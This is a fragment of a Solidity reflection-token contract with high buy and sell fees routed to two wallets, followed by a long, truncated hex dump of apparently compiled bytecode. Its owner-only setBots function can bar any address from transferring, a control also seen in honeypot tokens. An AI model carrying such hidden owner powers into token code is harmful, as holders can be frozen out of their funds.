constructor(address payable _wallet1, address payable _wallet2) {
c = address(this);
wallet1 = _wallet1;
wallet2 = _wallet2;
_rOwned[c] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[c] = true;
_isExcludedFromFee[wallet1] = true;
_isExcludedFromFee[wallet2] = true;
excludeFromReward(owner());
excludeFromReward(c);
excludeFromReward(wallet1);
excludeFromReward(wallet2);
emit Transfer(address(0),c,_tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount);
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function nofees() private {
_taxFee = 0;
_LiquidityFee = 0;
}
function basefees() private {
_taxFee = 2;
_LiquidityFee = 14;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
basefees();
if (from != owner() && to != owner() && tradingOpen) {
if (!inSwap) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) {
if (buyCounter < 100)
require(amount <= _tTotal * maxTx / 1000);
if (buyCounter % 50 == 0 && buyCounter != 0)
nofees();
buyCounter++;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) {
if (swapEnabled) {
uint256 contractTokenBalance = balanceOf(c);
if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) {
swapAndLiquify(contractTokenBalance);
}
}
}
if (!inSwap) {
if (buyCounter == 10)
maxTx = 10; //1%
if (buyCounter == 25)
maxTx = 20; //2%
if (buyCounter == 50)
maxTx = 50; //5%
if (buyCounter == 60) {
maxTx = 1000; //100%
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 balance = c.balance / 2;
sendETHToFee(balance);
IWETH(WETH).deposit{value: balance}();
assert(IWETH(WETH).transfer(uniswapV2Pair, balance));
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = c;
path[1] = WETH;
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp);
}
function sendETHToFee(uint256 ETHamount) private {
payable(wallet1).transfer(ETHamount / 2);
payable(wallet2).transfer(ETHamount / 2);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = uniswapV2Router.WETH();
_approve(c, address(uniswapV2Router), ~uint256(0));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH);
uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp);
maxTx = 5; // 0.5%
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0));
tradingOpen = true;
swapEnabled = true;
}
function manualswap() external {
uint256 contractBalance = balanceOf(c);
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = c.balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) nofees();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity * currentRate;
_rOwned[c] = _rOwned[c] + rLiquidity;
_tOwned[c] = _tOwned[c] + tLiquidity;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount * taxFee / 100;
uint256 tLiquidity = tAmount * LiquidityFee / 100;
uint256 tTransferAmount = tAmount - tFee - tLiquidity;
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rLiquidity = tLiquidity * currentRate;
uint256 rTransferAmount = rAmount - rFee - rLiquidity;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function excludeFromReward(address addr) internal {
require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router');
require(!_isExcluded[addr], "Account is already excluded");
if(_rOwned[addr] > 0) {
_tOwned[addr] = tokenFromReflection(_rOwned[addr]);
}
_isExcluded[addr] = true;
_excluded.push(addr);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190613a83565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190613670565b6103f6565b6040516101629190613a68565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190613ba5565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b8919061361d565b610423565b6040516101ca9190613a68565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190613583565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613c1a565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b5061026560048036038101906102609190613583565b61061e565b6040516102729190613ba5565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b4919061399a565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df9190613a83565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190613670565b6108c2565b60405161031c9190613a68565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906136b0565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e91906135dd565b6110d2565b6040516103b09190613ba5565b60405180910390f35b60606040518060400160405280600981526020017f57494c4454494d45530000000000000000000000000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613dbc565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790613ae5565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611d62565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4f565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590613ae5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f2457494c44000000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90613ae5565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999614007565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613ecf565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611eb6565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190613ae5565b60405180910390fd5b6013600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190613b65565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f91906135b0565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5091906135b0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce9291906139b5565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2091906135b0565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f5396959493929190613a07565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa59190613726565b5050506005601360086101000a81548161ffff021916908361ffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016110479291906139de565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109991906136f9565b5060016013600a6101000a81548160ff02191690831515021790555060016013600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123890613ac5565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f9190613ba5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613b25565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d690613b05565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b6114946120f1565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506013600a9054906101000a900460ff165b15611c88576013600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613b85565b60405180910390fd5b5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506013600b9054906101000a900460ff16155b15611996576064601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601360089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613d62565b6118d09190613d31565b8111156118dc57600080fd5b5b60006032601360009054906101000a900467ffffffffffffffff166119029190613f49565b67ffffffffffffffff1614801561193a57506000601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff1614155b1561194857611947612103565b5b6013600081819054906101000a900467ffffffffffffffff168092919061196e90613f18565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611a415750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ab057506013600b9054906101000a900460ff16155b15611b51576013600c9054906101000a900460ff1615611b50576000611af7600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611b29600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611b339190613d62565b611b3d9190613d31565b811115611b4e57611b4d81612115565b5b505b5b6013600b9054906101000a900460ff16611c8757600a601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bad57600a601360086101000a81548161ffff021916908361ffff1602179055505b6019601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bf5576014601360086101000a81548161ffff021916908361ffff1602179055505b6032601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611c3d576032601360086101000a81548161ffff021916908361ffff1602179055505b603c601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611c86576103e8601360086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d4657506013600b9054906101000a900460ff165b15611d5057600090505b611d5c8484848461230c565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600283611dab9190613d31565b9081150290604051600060405180830381858888f19350505050158015611dd6573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600283611e209190613d31565b9081150290604051600060405180830381858888f19350505050158015611e4b573d6000803e3d6000fd5b5050565b6000600f54821115611e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8d90613aa5565b60405180910390fd5b6000611ea0612555565b90508083611eae9190613d31565b915050919050565b6000600267ffffffffffffffff811115611ed357611ed2614036565b5b604051908082528060200260200182016040528015611f015781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611f3b57611f3a614007565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611fac57611fab614007565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612035600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016120bb959493929190613bc0565b600060405180830381600087803b1580156120d557600080fd5b505af11580156120e9573d6000803e3d6000fd5b505050505050565b6002601181905550600e601281905550565b60006011819055506000601281905550565b60016013600b6101000a81548160ff02191690831515021790555061213981611eb6565b60006002600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316121819190613d31565b905061218c81611d62565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156121f657600080fd5b505af115801561220a573d6000803e3d6000fd5b5050505050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161228e9291906139de565b602060405180830381600087803b1580156122a857600080fd5b505af11580156122bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122e091906136f9565b6122ed576122ec613f7a565b5b5060006013600b6101000a81548160ff02191690831515021790555050565b8061231a57612319612103565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123bd5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123d2576123cd848484612579565b61254f565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124755750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561248a576124858484846127c4565b61254e565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561252c5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125415761253c848484612a0f565b61254d565b61254c848484612ce8565b5b5b5b50505050565b6000806000612562612ea5565b9150915080826125729190613d31565b9250505090565b60008060008060008061258b87613157565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e29190613dbc565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126709190613dbc565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fe9190613cdb565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061274a816131b9565b612754848361337e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127b19190613ba5565b60405180910390a3505050505050505050565b6000806000806000806127d687613157565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d9190613dbc565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128bb9190613cdb565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129499190613cdb565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612995816131b9565b61299f848361337e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129fc9190613ba5565b60405180910390a3505050505050505050565b600080600080600080612a2187613157565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a789190613dbc565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff